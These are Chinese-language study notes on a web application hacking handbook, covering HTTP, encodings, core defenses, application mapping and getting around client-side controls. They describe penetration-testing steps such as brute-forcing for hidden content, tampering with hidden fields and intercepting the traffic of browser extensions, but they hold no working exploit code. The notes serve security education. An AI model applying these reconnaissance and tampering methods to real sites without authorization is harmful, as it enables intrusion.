黑客攻防技术宝典

1. Web应用程序案例与风险

Web应用程序的发展历程

早期Web服务器仅提供静态内容,可以被任意人公开访问;今天则完全变了,Web服务器可以提供非常丰富的服务;

Web应用程序安全

虽然很多站点声明自己是安全的,但实际上并非如此。超过一半以上的安全存在各式各样的漏洞;

  • 不完善的身份验证措施:62%;
  • 不完善的访问控制措施:71%;
  • SQL 注入:32%;
  • 跨站点脚本:94%;
  • 信息泄露:78%;
  • 跨站点请求伪造:92%;

核心安全问题:用户可提交任意输入

用户在浏览器事实上拥有无限的权限,因此可以提交任意非开发者预期的内容,而开发者需要假设所有的输入都可能是恶意的,并进行防范;

关键问题因素

以下几点原因让问题变得更加严重了:

  • 不成熟的安全意识
  • 独立开发
  • 欺骗性的简化;
  • 快速发展的攻击技术;
  • 资源与时间限制;
  • 技术上强其所难;
  • 对功能的需求不断增加;

新的安全边界

早期安全边界在于防火墙层级,但随着Web应用程序的功能变得更加模块后,需要访问操作系统中或者之间不同功能模块,例如数据库,使得安全边界问题缩小到了Web应用程序内部;

Web应用程序安全的未来

暂时还没有迹象显示安全问题能够在不远的未来得到解决,因为整个行业远未形成成熟的意识或者能力;

2. 核心防御机制

处理用户访问

多数Web应用使用以下三种安全机制处理用户访问,但由于这三个机制之间相互依赖,因此导致它们不能达到预期的安全保护目标;

  • 身份验证
  • 会话管理
  • 访问控制:由于这方面的控制相当复杂,因此一般存在大量的安全漏洞;

处理用户输入

输入的多样性

有些字段有特殊格式的输入要求,但有些字段,例如文章、备注等,则需要允许各式各样的输入值;

当探查到用户的非法输入,正常应该拒绝用户提交的,并将事件记录到日志文件中,以便随后进行调查;

输入处理方法

拒绝已知的不良输入

通常是使用一个黑名单,包含一组攻击中会使用的模式,阻击任何与黑名单匹配的数据;但这种方法的效率不同,也存在各种绕过的方法;

接受已知的正常输入

使用一个白名单;这种方法比黑名单要好得多,但有时候有些字段存在迫不得已的情况,例如用户的姓名;

净化

即在开始处理数据之前,先对数据进行净化,删除或转义可能存在的恶意字符;这种方法一般非常有效;不过在一个输入项中容纳多个可能的恶意数据时,有时不能完全净化成功;

安全数据处理

通过确保处理的过程绝对安全,例如在数据库查询过程中使用参数化查询以避免 SQL 注入攻击;这也是一项有效的通用方法,不过不能够适用于Web应用程序需要执行的每个操作;

语法检查

攻击的输入是正常的,但输入的用途是非法的,例如伪装成他人的账号;

边界确认

由于Web 应用程序提供的功能很广泛,因此不同功能组件之间并不存在一个统一的安全边界,需要具体情况具体处理,每个功能组件执行自己的安全检查;

多步确认与规范化

Web应用程序有时会对用户输入进行多步的确认,或者做一些规范化的操作,此时攻击者可以专门设计一些针对这些操作的输入字符,以避开检查机制;

处理攻击者

常见措施:

  • 处理错误
  • 维护审计日志;
  • 向管理员发出警报;
  • 应对攻击;

处理错误

避免向用户返回任何由系统生成的错误信息,因为它们将非常容易被攻击者有效利用;一般使用 try…catch 机制来生成自定义的错误信息,并将异常情况记录到日志中,以便后续进一步检查处理;

维护审计日志

在任何注重安全的应用程序中,日志应记录所有重要事件,这些事件至少包括:

  • 所有与身份验证功能相关的事件,如成功或失败的登录,密码修改等;
  • 关键交易,例如信用卡支付与转账;
  • 被访问控制机制阻止的访问企图;
  • 任何包含已知攻击字符串,公然表明恶意意图的请求;

有效的审计日志一般会记得每个事件的发生时间、发出请求的IP地址、用户的账号等信息;这些信息需要进行严格的保护,避免未授权的读取或写入访问。一般来说,需要将它们存储在单独的系统中,仅允许主应用程序访问,或者存储在一次性写入的介质中;如果这些日志被攻击者利用,将可能使攻击者立即攻破整个应用程序;

向管理员发出警报

警报监控的反应事件一般包括:

  • 应用反常:如收到由单独一个IP 地址或用户发出的大量请求(表明应用程序正受到自定义攻击);
  • 交易反常;
  • 包含已知攻击字符串的请求;
  • 请求中普通用户无法查看的数据被修改;

由于每个应用程序实际业务场景各不相同,因此最好的警报机制,是根据当前业务场景,判断哪些输入是普通用户不可能出现的,然后与警报机制整合,第一时间发出警报;

应对攻击

当发现攻击者时,应当设计能够采取自动反应的措施,以阻止攻击进行探查,例如对其提交的请求的响应速度变缓慢,或将其加入黑名单1-2天,或者终止攻击者的会话,要求其重新登录等;

当然,最重要的事件还是应该立即修复应用程序中存在的所有漏洞;

管理应用程序

很多应用程序使用相同的 Web 界面在内部执行管理功能,但是它无形中也变成一个主要的攻击目标,因为攻破这个界面后,能够有效提升权限;

3. Web应用程序技术

HTTP

HTTP 请求头部中的一些字段:

  • Referer:用来表示发出请求的原始 URL;
  • User-Agent:用来显示发出请求的客户端(如浏览器)的信息
  • Host:用来显示被访问的 URL 中的主机名称;
  • Cookie:用来显示服务器向客户端发送的参数;

HTTP 响应中的一些字段

  • Server:用来显示服务端所使用的服务器程序,例如:Apache、Nginx、 Microsoft-IIS等;
  • Pragma:用来告知浏览器不要缓存结果(适用于动态资源的场景);
  • Expires:用来告知浏览器当前资源的过期时间;
  • Content-Type:用来告知浏览器主体的内容类型,以便浏览器可以正确解析;
  • Content-Length:用来告知浏览器主体的长度;

HTTP 方法

由于 GET 请求会将请求参数显示在 URL 中,并且可以存储在书签或是放在请求头部的 Referer 字段中,因此应避免使用查询字符串传送任何敏感的信息;

其他方法:

  • TRACE:当使用该方法访问某个资源时,服务端会在响应的主体中返回其收到的客户端的具体请求内容;因此,客户端可以用它来诊断自身发出的请求是否在中途被窜改了;
  • OPTIONS:用来向服务端询问某个资源允许的操作方法;服务端会在返回的响应的头部 Allow 字段中列出可执行的方法;

HTTP 还有其他一些允许的方法,如果服务端激活的方法越多,则面临被攻击的风险越大;

URL

常用的 URL 是绝对路径的格式,但其实也支持使用相对路径的格式;

REST

REST 风格的 URL 一般是指将查询参数放在路径中,而不是放在查询字符串中;

HTTP 消息头

常用消息头:
  • Connection:告知对方在完成 HTTP 传输后,如何处理当前的 TCP 连接状态,例如保持开放,或者直接关闭;
  • Content-Encoding:为消息主体中的内容指定编码格式,例如 gzip(很多应用会使用该格式来压缩响应主体中的内容,以提高传输的速度);
  • Transfer-Encoding:为某段传输指定编码格式(一个 HTTP 连接可以分成多段传输,每一段的消息可以使用不同的编码格式,例如:chunked、compress、deflate、gzip、identity等);
请求消息头
  • Accept:客户端用它来告知服务端自己可以接收哪些类型的内容,例如图片、文档等;
  • Accept-Encoding:用来告知服务端,客户端可接受的内容编码方式;
  • Authorization:提供服务端所要求的认证类型和认证信息,例如:basic类型+用户名+密码,需要配合 HTTPS 使用,不然等同于明文传输账号密码;
  • If-Modified-Since:用来告知服务端浏览器最后一次收到当前所请求资源的时间;如果在那个时间之后,资源并未出现变化,则服务端不需返回资源内容,只需要返回304编码,告知客户端之前的缓存仍可用;
  • If-None-Match:用来告知服务端,如果服务端没有任何资源与该字段的 Etag 值匹配,则应返回所请求的资源,否则则无须返回,浏览器将使用本地的缓存;
  • Origin:用来告知服务器当前请求来自于哪个站点,该字段一般用于跨域 Ajax 请求中;
  • Referer:用来告知服务器表明当前请求所来源页面的地址;
响应消息头
  • Access-Control-Allow-Origin:用来告知客户端是否允许跨域请求当前的资源;
  • ETag:为当前资源设置一个唯一标签,后续客户端可以使用该标签,向服务端询问所请求的资源是否已经过期;
  • Expires:用于告知客户端当前资源的过期时间;
  • Location:用来告知客户端资源重定向的目标地址,一般配合 3 开头的状态码使用;
  • Pragma:用来告知浏览器如何处理缓存,例如:no-cache;
  • Server:用来告知客户端,服务端当前使用的是什么样的服务器软件;
  • Set-Cookie:服务端用来向客户端发送 cookie 值;
  • WWW-Authenticate:服务端用其来告知客户端自己支持哪些身份验证方式,一般配合 401 状态码使用;
  • X-Frame-Options:服务端用其来告知客户端如何加载当前响应;

cookie 一般由一个键值对构成,但也可包含任何不含空格的字符串;可以在服务器响应中使用几个 Set-Cookie 消息头发布多个 cookie;客户端也可以在 Cookie 消息头中用分号分隔不同的 cookie;

服务端发出的 Set-Cookie 消息头中,还可以包含一些额外的属性,以指示客户端如何处理使用 cookie, 包括:

  • expires:用来设定 Cookie 的有效时间;如果没有值,则浏览器不会永久保存当前 cookie,仅用于当前浏览器会话中;如果有值,则浏览器会将 cookie 值在本地存储下来,并在随后的浏览器会话中重复使用;
  • domain:用来指定 cookie 可以有效使用的域;指示客户端仅可以将 cookie 用于 domain 所指定的域;
  • path:用于指定 cookie 可以使用的路径;
  • secure:限制只在 https 请求中使用 cookie;
  • HttpOnly:用来限制客户端无法使用 JavaScript 直接访问 cookie;

状态码

每条 HTTP 响应消息都会在它的第一行中包含一个状态码,状态码主要分为五类:

  • 1开头的:提供信息
  • 2开头的:请求被成功处理;
  • 3开头的:请求被重新定向到其他资源;
  • 4开头的:请求中包含错误;
  • 5开头的:服务器在处理请求时发生错误;
常见的状态码
  • 100 Continue:已收到请求的消息头,但主体还没有完整收到,客户端应继续发送余下的主体,待全部收到后,将返回新的响应;
  • 200 Ok:请求已成功处理,并在响应中返回了请求结果;
  • 201 Created:请求已成功提交;
  • 301 Moved Permanently:所请求的资源已经永久性的转移到一个新的地址,新地址放在 Location 字段中,客户端后续应使用这个新地址来访问相应的资源;
  • 302 Found:所请求的资源临时转移到了一个新地址,新地址放在 Location 字段中;但转移只是临时的,后续请求该资源应仍然使用旧地址;
  • 304 Not Modified:在客户端的请求中,会有一个 If-Modified-Since 字段,记录着客户端上一次收到该资源的时间,服务端根据这个时间,判断在那之后,资源是否发生过修改,如果没有修改,就可以发回 304 响应,告知客户端所请求的资源未更新,让客户端使用缓存中的资源副本;另外客户端也可以在请求首部中使用 If-None-Match 字段,并在该字段中放上资源的 Etag 值,如果服务端发现存在相同 Etag 值的资源,则返回 304 响应;如果不存在,则返回所请求的资源;
  • 400 Bad Request:表示客户端提交了一个无效的请求;
  • 401 Unauthorized:表示客户端的请求没有验证成功,同时服务端会在响应的 WWW-Authenticate 字段中放上如何验证的信息;
  • 403 Forbidden:表示所请求的资源绝对禁止访问,有身份验证也不行;
  • 404 Not Found:表示所请求的资源不存在;
  • 405 Method Not Allow:表示所请求的方法不支持;
  • 413 Request Entity Too Large:表示请求的主体过长,服务端无法处理;
  • 414 Request URI Too Long:表示请求的地址过长,服务端无法处理;
  • 500 Internal Server Error:表示服务端在处理请求时遇到错误;
  • 503 Service Unavailable:表示服务端的服务器程序虽然运转正常,但处理请求的应用程序无法作出响应;

HTTPS

HTTPS 跟 HTTP 一样,也属于传输层的协议,但是它使用 TLS/SSL 对传输的数据进行了加密;

HTTP 代理

当使用 HTTPS 和使用代理向服务端发起请求时,客户端无法和代理服务器完成 TSL 握手,因此,代理服务器只能被当作 TCP 中继来使用;这意味着如果能够控制代理服务器的话,就能拦截并修改客户端和服务端之间的请求和响应数据;这将非常有用(原因在于可以控制浏览器发出的请求,并分析和修改服务器返回的响应;多数渗透测试工具都是以代理服务器的形式来运行);

HTTP 身份验证

HTTP 身份验证有内置自己的身份验证功能,包括:

  • Basic
  • NTLM
  • Digest

由于 HTTP 内置的验证功能,会将服务端要求提供的验证身份信息(如密码)放到消息头部中,因此如果不使用 HTTPS 连接的,这种验证方式将会是很危险的,因为如果请求被拦截的话,就会导致验证信息暴露;如果使用了 HTTPS,则这种验证方式就没那么危险;

Web 功能

服务器端的功能

相对于互联网早期,服务器端提供的资源已经从以静态为主,变成了以动态资源为主,同时针对 Web 应用程序的开发也出现了各式各样的工具,了解这些工具,研究它们的漏洞,将十分有助于找出它们的案例隐患;

常用的服务端开发工具或平台包括:

  • Java
  • ASP.Net
  • PHP
  • Ruby On Rails
  • SQL
  • XML
  • Web 服务

客户端的功能

常用的浏览器开发工具或技术:

  • HTML
  • 超链接
  • 表单
  • CSS
  • Javascript
  • VBScript
  • 文档对象模型
  • Ajax
  • JSON
  • 同源策略:从相同站点收到的内容,可以访问并修改该站点的其他内容;但不能访问或修改不同站点的内容;这个策略由浏览器实现;
  • HTML5
  • Web2.0
  • 浏览器插件

状态与会话

会话即可保存在服务器端,也可以保存在客户端;保存在服务器端的话,则需要给客户端发送一个令牌;保存在客户端则可以减轻服务器的负担;但是保存在浏览器端的数据有可能被用户修改,因此在将数据发给客户端保存之前,一般会使用一个只有服务端才知道的值,对数据做散列值计算,之后将数据和散列值都发给客户端;客户端需要在下一次请求中同时携带会话数据和散列值,如果会话数据被修改了,则服务端对会话数据进行计算的散列值和用户提供的散列值将无法匹配(如果会话是存储在服务器端的话,就没有这个必要了,直接将散列后的会话 ID 发给客户端即可;之所以要做散列,目的是让客户端无法猜测出来其他会话 ID,以避免客户端冒充他人);

编码方案

客户端发送给服务器的数据一般需要使用某种编码方案,服务器端在数据后,按照指定的方案对数据进行解码;因此,如果客户端操纵编码方案,有可能会让看似无害的信息,编码成另外一种解释;

URL 编码

URL 的编码方案使用 ASCII 字符集中的可打印字符对数据进行编码;该编码方案以 % 开头;

%20 代表空格,另外 + 加号也代表空格;

有些字符是 URL 编码方案的保留关键字,因此如果在请求内容中使用这些字符,则需要对这些字符进行编码的转换,不然会被识别成关键字;包括:空格、%、?、&、;、+、# 等;

Unicode 编码

Unicode 编码以 %u 开头,之后是用十六进制表示的编码,例如 %u2215 表示斜杠 “/“;

Unicode 的编码长度统一是4位的十六进制,相当于 16 位的二进制,或许也可叫做 UTF-16;

UTF-8 则是一种长度可变的编码方案,它有可能只有一个字节,也有可能有多个字节;由于大部分字符是不常用的,如果将常用的字符用短编码来表示的话,则将会大大减少编码后的内容长度,提高传输效率;

HTML 编码

在 HTML 文档中,由于 HTML 语言也有一些保留的关键字,因此如果在内容中使用了这些关键字,就需要对其进行 HTML 编码,以便不会识别成关键字;

HTML 编码使用了三种编码方案,都是以 & 开头,包括:

  • 实体:例如 &quot 表示双引号,&apos 表示单引号,&amp 表示 &;
  • 十进制:以&# 开头并加上字符的 ASCII 编码,例如:&#34 表示双引号,&#39 表示单引号
  • 十六进制:以&#x 开头,并加上字符的 ASCII 编码的十六进制数,例如:&#x22 表示双引号,&#x27表示单引号;

Base64 编码

Base64 编码使用 ASCII 中的可打印字符集合对内容进行编码,一般使用于邮件附件的编码,有时也用于 HTTP 内置的验证机制中对用户密码进行编码;

Base64 使用的可打印字符集很少,包括以下 26个英文大写/小写字母,数字0-9,还有加号”+”、斜杠”/“,其他就没有了,总共是64个字符;

计算机中的数据是以字节表示的,每个字节由8个二进制位构成,因此每三个字节就会有24个二进制位;24个二进制位可以分成4组,每组6个二进制位,每组用一个 Base64 字符来表示,这样每 3 个字节就可以转换成 4 个Base64 字符来表示;

因此,只需要将待转换数据的字节总数是 3 的倍数(不足时使用等号 = 进行凑齐),就可以将其他转换成 Base64 字符来表示;

即使对一段数据进行细微的修改,则转换后的 Base64 编码也会出现很大的差别,但是由于它使用等号来凑齐字符,因此很容易被识别出来是 base64 编码方案,导致失去防患效果;

十六进制编码

用 ASCII 字符表示十六进制数据块,例如:daf 表示为 646166

序列化框架工具

使用一些框架对待传输的数据进行序列化,这些框架包括:

  • Flex 和 AMF
  • Silverlight 和 WCF
  • Java 序列化对象

4. 解析应用程序

步骤:

  • 枚举应用程序的功能
  • 分析其核心安全机制和使用的技术,以暴露其主要的受攻击面;
  • 发现可供利用的漏洞;

枚举内容与功能

Web自动抓取

通过爬虫工具将应用程序的所有页面抓取下来;常见的免费工具包括:

  • Burp Suite
  • WebScarab
  • Zed Attack Proxy
  • CAT

有些网站会在其根据目录放一个 robots.txt 文件,用来告知爬虫或者搜索引擎其不想被列入索引的 URL,不过这有时反而变成一个突破口,让攻击者能够快速发现一些可抓取的目标;

爬虫的自动抓取还是比较简单和机械的,它不过是不断探查每个页面中存在的超链接,然后不断向新链接发起请求,如果链接中有表单,它就伪造一些数据进行表单的提交;直到抓取完所有页面链接为止;

自动抓取工具的一些不足

  • 无法处理动态生成的链接;
  • 无法抓取存放在对象中的链接;
  • 无法应对输入检查;
  • 每个链接只请求一次,但实际上相同链接,使用不同请求参数可能返回不同的内容;
  • 无法应对 URL 中的随机数,会造成死循环;
  • 无法应对身份验证机制;

用户指导的抓取

在客户端和服务端之前设立一道拦截器,然后由用户人工浏览网站,做一些动作,之后拦截器根据拦截到的数据生成站点地图;这种方式可以克服前面自动抓取的多项不足;

渗透测试步骤

  • 配置浏览器,使用 Burp 或 WebScarab 作为本地代理服务器;
  • 以常规方式浏览整个应用程序,访问发现的每一个链接,提交每一个表单并执行全部多阶段功能;分别在 javascript 启用与禁用、cookie 启用和禁用的情况下进行浏览;
  • 检查由拦截工具生成的站点地图,找出手动浏览时没有发现的所有隐藏内容和功能,通过浏览器访问这些内容,以便拦截工具获得服务器的响应,从而确定其他所有内容;递归执行上述步骤,直到无法再找出新内容为止;
  • 先将可能会导致会话中断的 URL 排除掉,然后基于余下的内容,让爬虫主动抓取站点内容;

发现隐藏的内容

常用的隐藏内容有:

  • 不同权限的用户登录后看到不同的内容;
  • 上线后未删除的开发测试功能或者调试功能;
  • 备份文件
  • 文件快照的备份档案;
  • 已部署但未上线可用的新功能;
  • 已部署但对部分用户不可见的功能;
  • 尚未从服务器上删除的旧版文件;
  • 配置和包含敏感数据的文件;
  • 当前应用程序功能的源文件;
  • 包含有效用户名、会话令牌、被访问的 URL 以及所执行的操作的日志文件;
  • 源代码中可能包含的用户名和密码等信息;

蛮力技巧

通过发送大量的请求,包含常见的目录名称,收集服务器的响应,来猜测隐藏功能的名称和标识符;

渗透测试步骤
  • 手动提出一些访问有效与无效资源的请求,看服务器如何处理无效资源;
  • 使用指导抓取生成的站点地图作为自动查找隐藏内容的基础;
  • 针对基础应用程序内已知存在的每个目录或路径中常用的文件名和目录,自动发起请求;如果已经了解应用程序处理访问无效资源的处理方式,则可以配置 Intruder 等工具将其忽略;
  • 收集从服务器返回的响应,手动检查这些响应以筛选出有效的资源;
  • 反复执行这个过程,直到发现新内容;

通过公布的内容进行推测

一般来说,应用程序会使用某种命名方案,因此可以配置抓取工具按照命名方案进行搜索,这样可以提高命中的效率;

渗透测试步骤
  • 检查用户指定的浏览与基本蛮力测试获得的结果,包括所有子目录名称、文件词干、文件扩展名列表等;
  • 检查这些列表,确定应用程序所使用的命名方案;
  • 有时候,命名方案中会使用数字和日期作为标识符,因此根据历史文件的命名,可以猜测出公司的新文件的命名;
  • 检查所有客户端代码,如HTML 和 Javascript,寻找与隐藏内容有关的蛛丝马迹,例如代码中的注释部分,经常放着一些重要的线索,有时候甚至有高度敏感的信息;
  • 把已经枚举出来的内容和文件名扩展名添加的常用列表中,它们有可能会揭示应用程序所使用的开发语言和工具;
  • 搜索开发者工具和文件编辑器不经意建立的临时文件,例如 .DS_Store 文件;
  • 结合目录、文件词干、文件扩展名列表,再进一步执行自动搜索操作,发掘更多隐藏的信息;
  • 如果找到了一种统一的命名方案,则可以在这个基础上,实施更有针对性的蛮力测试;
  • 基于新找到内容和新发现的模式,作为用户指导抓取操作的基础,反复执行之前的步骤,继续执行自动内容查找;

上述的大部分动作可以在 Burp Intruder Pro 的内容查找功能中实现;

利用公共信息

如果应用程序中的内容在历史上曾经跟其他内容有所连接的话,则可以通过搜索引擎、Web档案等第三方工具将这些连接找出来;

渗透测试步骤
  • 使用多种不同的搜索引擎和Web档案工具,查找它们保存的关于所要攻击的应用程序的相关信息;
  • 查询搜索引擎时,可以使用搜索引擎提供的一些便利功能来提高搜索效率,例如:site, link, related 等关键字;
  • 每次搜索时,不仅查看搜索引擎提供的默认部分中的内容,还可以看一下群组、新闻等部分的内容;
  • 如果有部分内容被搜索引擎省略,可以将它们纳入搜索范围后,重新搜索;
  • 查看感兴趣页面的缓存版本,里面可能包含一些未经过验证就无法查看的信息;
  • 在属于相同组织的其他域名上执行相同的查询;

一般来说,应用程序的开发人员,在开发过程中不可避免会遇到问题,并到一些论坛上面提问题和寻找答案,因此这些地方有可能会查到一些关于代码的信息;

渗透测试步骤
  • 列出与待攻击应用程序相关的开发人员的姓名和邮件列表;
  • 根据姓名查找他们在因特网上发表的所有问题和安全,分析发现的信息,了解与应用程序相关的线索;

利用 Web 服务器程序

Web 服务器程序本身也是存在大量漏洞的,利用这些漏洞可以获得应用程序所有页面和其他资源;更有意思的是, Web 服务器程序一般会结合很多第三方工具来提供一些便捷的功能,这些模块都会有一些安装规律,因为可以加以利用,暴露出一些其他办法查找不到资源路径;

Nikto 或者 Wikto 即是可以执行上述扫描功能的免费工具;

应用程序页面与功能路径

基于 URL 的内容查找源于历史上的静态页面,现在很多服务端应用程序已经演变为以提供动态页面为主,经常在会参数中携带功能的名称,而不是在 URL 中显示,因此前面描述的那些方法不一定能够很好的发现所有的隐藏内容;

针对这种情况,渗透测试的步骤如下:

  • 确定所有通过在参数中提交功能名称的情况
  • 修改之前提到的 URL 内容查找自动化的配置,以便让它能够应对这种新的情况;
  • 如果可能的话,根据功能路径画一张应用程序的内容图,找出被枚举的功能和逻辑路径之间的依赖关系;

发现隐藏的参数

有时候开发人员会通过一些隐藏的参数来改变应用程序的行为,例如使用 debug 参数来开启或关闭调试功能;

渗透测试步骤:

  • 使用常见参数和常用值,提交大量请求;
  • 监控收到的全部响应,看增加的额外参数有没有让应用程序作出不一样的响应行为;
  • 如果时间允许,可以对所有页面都执行以上动作;如果时间不允许,可以只测试一些重点的页面,例如登录、搜索、文件的上传和下载等;

分析应用程序

在枚举完尽可能多的功能后,接下来是基于收集到的数据,进一步分析应用程序,以找到它的攻击面;值得分析的一些重要部分如下:

  • 应用程序的核心功能;
  • 应用程序的外围功能,例如错误消息、日志、重定向使用、站外链接等;
  • 核心安全机制及其动作方式,特别是会话状态、访问控制、验证机制及其支持(例如用户注册、忘记密码、账户恢复等);
  • 应用程序处理用户提交的输入的所有位置,例如 URL、查询字符串、POST 数据等;
  • 客户端使用的技术,例如表单、客户端脚本、厚客户端组件等;
  • 服务端使用的技术,例如静态与动态页面、请求参数类型、SSL、Web服务器软件、数据库交互、电子邮件系统等后端组件;
  • 其他任何可收集到的,关于服务器应用程序内部结构与功能的其他信息,例如后台传输机制等;

确定用户输入的入口点

输入的常见位置如下:

  • 每个 URL 字符串,例如:REST 风格的应用程序;
  • URL 查询字符串中提交的每个参数;
  • POST 请求主体中提交的每个参数;
  • 每个 cookie 的键值对;
  • 极少数情况下还包括消息头中的一些字段,例如 User-Agent、Referer、Accept、Accept-Language、Host等;

URL 文件路径

此时的输入体现在 REST 风格的路径中,至于命名是否有统一的标准,主要取决于开发者;

请求参数

一般来说,在查询字符串的请求参数、POST 参数和 cookie 键值对中,都含有明显的输入,但是它们的格式不一定是标准的 key=value 格式,有些开发者会使用一些定制的模式,需要加以留意一下;

HTTP 消息头

很多应用程序会使用日志的功能,会去读取 Referer 和 User-Agent 字段里面的值,因此这些消息头也有可能成为入口点;

有些应用程序还会处理消息头里面的值,记录和提取关于用户的一些信息,然后做出不同的响应;例如根据用户访问使用的不同设备、根据 IP 进行定位等;

应用程序的这些功能都增加了 SQL 注入或持续的跨站点脚本等攻击;

带外通道

在探测的过程中,服务端的结果有时并一定会通过响应进行返回,此时就需要有额外的通道能够查询到这些响应;

确定服务器端技术

提取版本信息

例如响应中的 Server 消息头;其他可能揭露服务相关软件信息的有

  • 建立 HTML 页面的模板;
  • 定制的 HTTP 消息头;
  • URL 查询字符串参数;

HTTP 指纹识别

虽然服务端可能会在 Server 消息头中对自己的身份进行伪造,但是应用程序中仍然会有很多蛛丝马迹可以用来推测服务端会使用的软件,也有相应的工具,例如 httprecon 等;

文件扩展名

常用的文件扩展名

  • asp: Microsoft Active Server Pages;
  • aspx: ASP.NET
  • jsp: Java
  • php: PHP

即使页面没有体现出扩展名,也可以通过请求一个不存在的文件,从返回的错误页面也可能可以得到相关信息;

目录名称

一些子目录名称也可用来确认是否使用相关技术;

  • servlet:Java servlet;
  • pls: Oracle PL/SQL 网关
  • rails: Ruby on Rails

会话令牌

会话令牌的名称也会揭示信息

  • JESSIONID: Java
  • ASPSESSIONID: Microsoft IIS 服务器
  • ASP.NET_SessionId: ASP.NET
  • PHPSESSID: PHP

第三方代码组件

很多应用程序会整合一些第三方代码组件来执行一些常见的功能,例如购物车、登录机制等;这些组件可能为开源代码,或者从其他公司购买来的,不管是哪一种,都意味着这些组件会被很多人使用;

因此,软件中很可能包含其他地方已经揭示的某些已知漏洞,攻击者还可以下载这些组件的开源代码进行分析,在找到可能的漏洞;

渗透测试步骤
  • 确定全部用户输入入口点;
  • 分析应用程序所使用的查询字符串格式,设法了解键值对的名称规律;
  • 确定应用程序可能使用的一些第三方数据的带外通道;
  • 查看响应中的 Server 属性;
  • 检查所有 HTTP 消息头或 HTML 注释中包含的其他软件标识;
  • 运行 Httprecon 工具来识别服务器;
  • 如果获得了 Web 服务器软件名称和版本,则可以搜索可供利用的所有漏洞;
  • 分析应用程序的 URL 列表,从扩展名和子目录名中查找线索;
  • 分析会话令牌的名称;
  • 使用常用技术列表或 Google 推测服务器所使用的技术;
  • 在 Google 上搜索第三方组件可能使用的不常用的 cookie、脚本、HTTP 消息头名称;确定所使用的是哪种第三方组件,下载安装组件,分析其中可能存在的漏洞;

确定服务器端功能

仔细分析请求

请求中的各种参数暗含着很多信息量,包括资源的类型、可执行的操作、资源的编号、是否使用数据库、服务器的语言框架等;

推测应用程序的行为

应用程序可能会执行某种输入确认检查,以净化可能存在的恶意输入;如果它有将错误揭示反馈到浏览器,则可以用来判断应该提交哪些输入,才有可能通过检查,之后设计特定字符串来规避检查;

隔离独特的应用程序行为

有时,许多可靠的应用程序会使用一致的框架来防范各种类型的攻击,此时薄弱点经常出现在开发人员后续添加的而常规安全框架没有处理的那些功能;一般来说,通过 GUI 外观、参数命名约定,或者源代码中的注释,即可找出这些拼接的功能;

渗透测试步骤
  • 记录其使用的标准 GUI 外观、参数命名或导航机制与应用程序的其他部分不同的任何功能;
  • 记录可能在后续添加的功能,包括调试功能、CAPTCHA 控件、使用情况跟踪和第三方代码等;
  • 对这些区域进行全面检查,这些区域很可能没有其他区域实施的标准防御机制;

解析受攻击面

常用的易受攻击的漏洞:

  • 客户端确认:服务器没有采用确认检查;
  • 数据库交互:SQL 注入;
  • 文件上传与下载:路径遍历漏洞、保存型跨站点脚本;
  • 显示用户提交的数据:跨站点脚本;
  • 动态重定向:重定向与消息头注入攻击;
  • 社交网络功能:用户名枚举、保存型跨站点脚本;
  • 登录:用户名枚举、脆弱密码、可使用蛮力;
  • 多阶段登录:登录缺陷;
  • 会话状态:可推测出的令牌、令牌处理不安全;
  • 访问控制:水平权限和垂直权限提升;
  • 用户伪装功能:权限提升;
  • 使用明文通信:会话劫持、收集证书和其他敏感数据;
  • 站外链接:Referer 消息头中查询字符串参数泄露;
  • 外部系统接口:处理会话与访问控制的快捷方式;
  • 错误消息:令牌泄露;
  • 电子邮件交互:电子邮件与命令注入;
  • 本地代码组件或交互:缓冲区溢出;
  • 使用第三方应用程序组件:已知漏洞;
  • 已确认的Web 服务器软件:常见配置薄弱环节、已知软件程序缺陷;

解析 EIS 应用程序

小结

虽然直接发动攻击显得很有吸引力,但在行动之前,先做一番分析的工作,将使得攻击的效率大大提高;一般来说,在采用手动技巧的同时,适当的采用自动化工具,是最有效的攻击手段;

5. 避开客户端控件

通过客户端传送数据

一般来说如果将会话数据放在服务器端,安全性更高一些,但是当在很多台服务器同时部署应用程序时,解决它们之间的数据同步将是一个挑战,因此有时候开发人员会将会话数据前移到客户端,这样确实让事情变得简单了,但是却增加了风险;

隐藏表单字段

应用程序将部分信息保存在隐藏的表单字段中,之后和用户填写的其他表单字段一起提交;

应用程序将信息保存在 cookie 的键值对中,之后在客户端发起请求时,一起发到服务端;

URL 参数

将参数保存在 URL 中是最容易被用户修改的情况了;

Referer 消息头

有些开发者使用这个字段来判断某个请求是由哪个 URL 触发的;

模糊数据

有时候服务端发到客户端的数据并不是明文的,而是经过了一定的模糊化处理,然后等客户端提交回服务端时,再解密去模糊;

ASP.NET ViewState

它是一种通过客户端传送模糊数据的常用机制,使用一些隐藏的字段保存一些序列化后的数据;

但是 ASP.NET 默认会开启对 ViewState 字段的保护,通过加盐进行散列化,用来防止客户端的窜改,但有些应用程序会将保护关掉,这个时候就会产生漏洞了;一个页面开启保护,不代表所有页面都开启,因此需要逐一排查;

收集用户数据:HTML 表单

长度限制

这个可以轻意绕过,只能用来限制非专业的用户;可以故意给相关的字段设置一个超过长度的值,然后看服务端是否有所反应,如果能够通过验证,则说明服务器端没有再做一次验证,存在漏洞;

基于脚本的确认

跟前面的长度限制一样,略;

禁用的元素

浏览器在提交请求时,并不会包含禁用的元素,因此仅仅观察发出的请求是无法找到这些元素的;但在查看页面源代码或者服务器的响应时,就会发现它们;

收集用户数据:浏览器扩展

相对于 HTML 表单和 Javascript 脚本,使用浏览器扩展相对更不透明一些,这让开发人员有一种错觉,即扩展更加安全,但其实并非如此,通过检查扩展的漏洞经常可以收获很大;

常见的浏览器扩展技术

  • Java applet
  • Flash
  • Silverlight

它们有一些共同点,例如都编译成字节码、在提供沙盒环境的虚拟机中运行、可以使用远程框架,通过序列化来传输复杂的数据结构;

攻击浏览器扩展的方法

  • 拦截并修改浏览器扩展提出的请求及服务器的响应;
  • 直接针对组件实施攻击,并尝试反编译它的字节码,以查看它的源代码;

拦截浏览器扩展的流量

如果扩展是明文传输数据,则简单好办,但有时候并非如此,以下是一些常见的问题:

处理序列化数据

一般来说,每种浏览器扩展都会有一套序列化的方案,研究这些方案的特点,有针对性的进行解析处理;

Java 序列化

它会在在 Content-Type 里面体现为 application/x-java-serialized-object, Burp Suite 中有一个插件 Dser 可用来查看拦截的序列化 Java 对象;

Flash 序列化

Content-Type: application/x-amf

Silverlight 序列化

Content-Type: application/soap+msbin1

拦截浏览器扩展流量时遇到的障碍

问题1:扩展没有执行在浏览器中设置的代理

原因在于客户端组件没有使用浏览器的 API 来发出 HTTP 请求,此时可以通过修改 hosts 文件来达到拦截目的,同时将代理服务器配置为劫持匿名代理,并自动重定向的正确的目标主机;

